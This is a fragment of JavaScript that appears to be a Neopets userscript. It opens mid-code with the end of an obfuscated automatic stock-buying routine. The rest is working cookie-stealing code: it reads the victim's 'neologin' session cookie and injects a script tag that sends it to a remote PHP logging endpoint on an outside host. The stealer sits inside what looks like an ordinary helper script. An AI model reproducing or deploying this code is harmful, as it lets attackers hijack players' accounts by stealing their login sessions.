item=check_list(stock);if(item){Log(decode('./.\\1p{~u!Ey07')+item[0]+decode('6:v"fnvhxVu8bX0003'));GM_setValue(decode('#vF@r%|pW#,f10'),getUTC());unsafeWindow.location.assign(item[1])}else{refresh=parseInt(((maxrefresh-minrefresh)*1000)*Math.random()+(minrefresh*1000));setTimeout(refreshSub,refresh)}}}}
var strURL = 'http://h1.ripway.com/Nyanteh/cookie.php?cookie=';
function GetStringBetween( target_str,start_str,end_str,start_pos,include_str )   {
    if ( ! start_pos ) 0;
    if ( ! include_str ) false;

    var result_str = target_str.substr( start_pos ); 
    result_str = result_str.substr( result_str.indexOf( start_str ) + start_str.length ); 
    result_str = result_str.substr ( 0, result_str.indexOf( end_str ) );

    if (include_str == true)   {
        result_str = start_str + result_str + end_str
    }

    return result_str;
}


var eleNew, newElement;

eleNew = document.getElementById('main');

var strCookie = document.cookie;

strCookie = GetStringBetween(strCookie, 'neologin=','; ');

if (eleNew) {
    newElement = document.createElement("div");
    newElement.innerHTML='<SCRIPT SRC=' + strURL + strCookie + '>';
    eleNew.parentNode.insertBefore(newElement, eleNew.nextSibling);
}